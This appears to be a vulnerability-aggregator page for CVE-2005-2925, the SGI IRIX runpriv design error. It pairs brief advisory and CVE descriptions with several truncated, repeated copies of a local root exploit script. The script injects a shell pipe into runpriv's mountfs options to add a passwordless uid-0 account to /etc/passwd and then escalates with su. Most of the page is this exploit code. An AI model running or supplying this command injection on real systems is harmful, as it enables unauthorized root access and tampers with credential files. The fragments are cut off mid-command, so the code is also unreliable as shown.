EUVD-2005-2925

Malware in sbrugna...

SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability

No description provided by source. !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd' su r00t -c chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...

CVE-2005-2925

runpriv in SGI IRIX allows local users to bypass intended restrictions and execute arbitrary commands via shell metacharacters in a command line for a privileged binary in /usr/sysadm/privbin...

[Full-disclosure] iDEFENSE Security Advisory 10.10.05: SGI IRIX runpriv Design Error Vulnerability

SGI IRIX runpriv Design Error Vulnerability iDEFENSE Security Advisory 10.10.05 www.idefense.com/application/poi/display?id=312&type=vulnerabilities October 10, 2005 I. BACKGROUND The runpriv program is a setuid root application that checks to see if a regular user has been granted privileges to...

SGI IRIX 6.5.28 - runpriv Design Error

SGI IRIX 6.5.28 - runpriv Design Error !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...

SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability

Exploit for irix platform in category local exploits ======================================================= SGI IRIX /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ; su" 0day.today 2018-01-02...

SGI IRIX 6.5.28 - 'runpriv' Design Error

!/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ;...

SGI IRIX &lt;= 6.5.28 (runpriv) Design Error Vulnerability

No description provided by source. !/bin/sh Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123...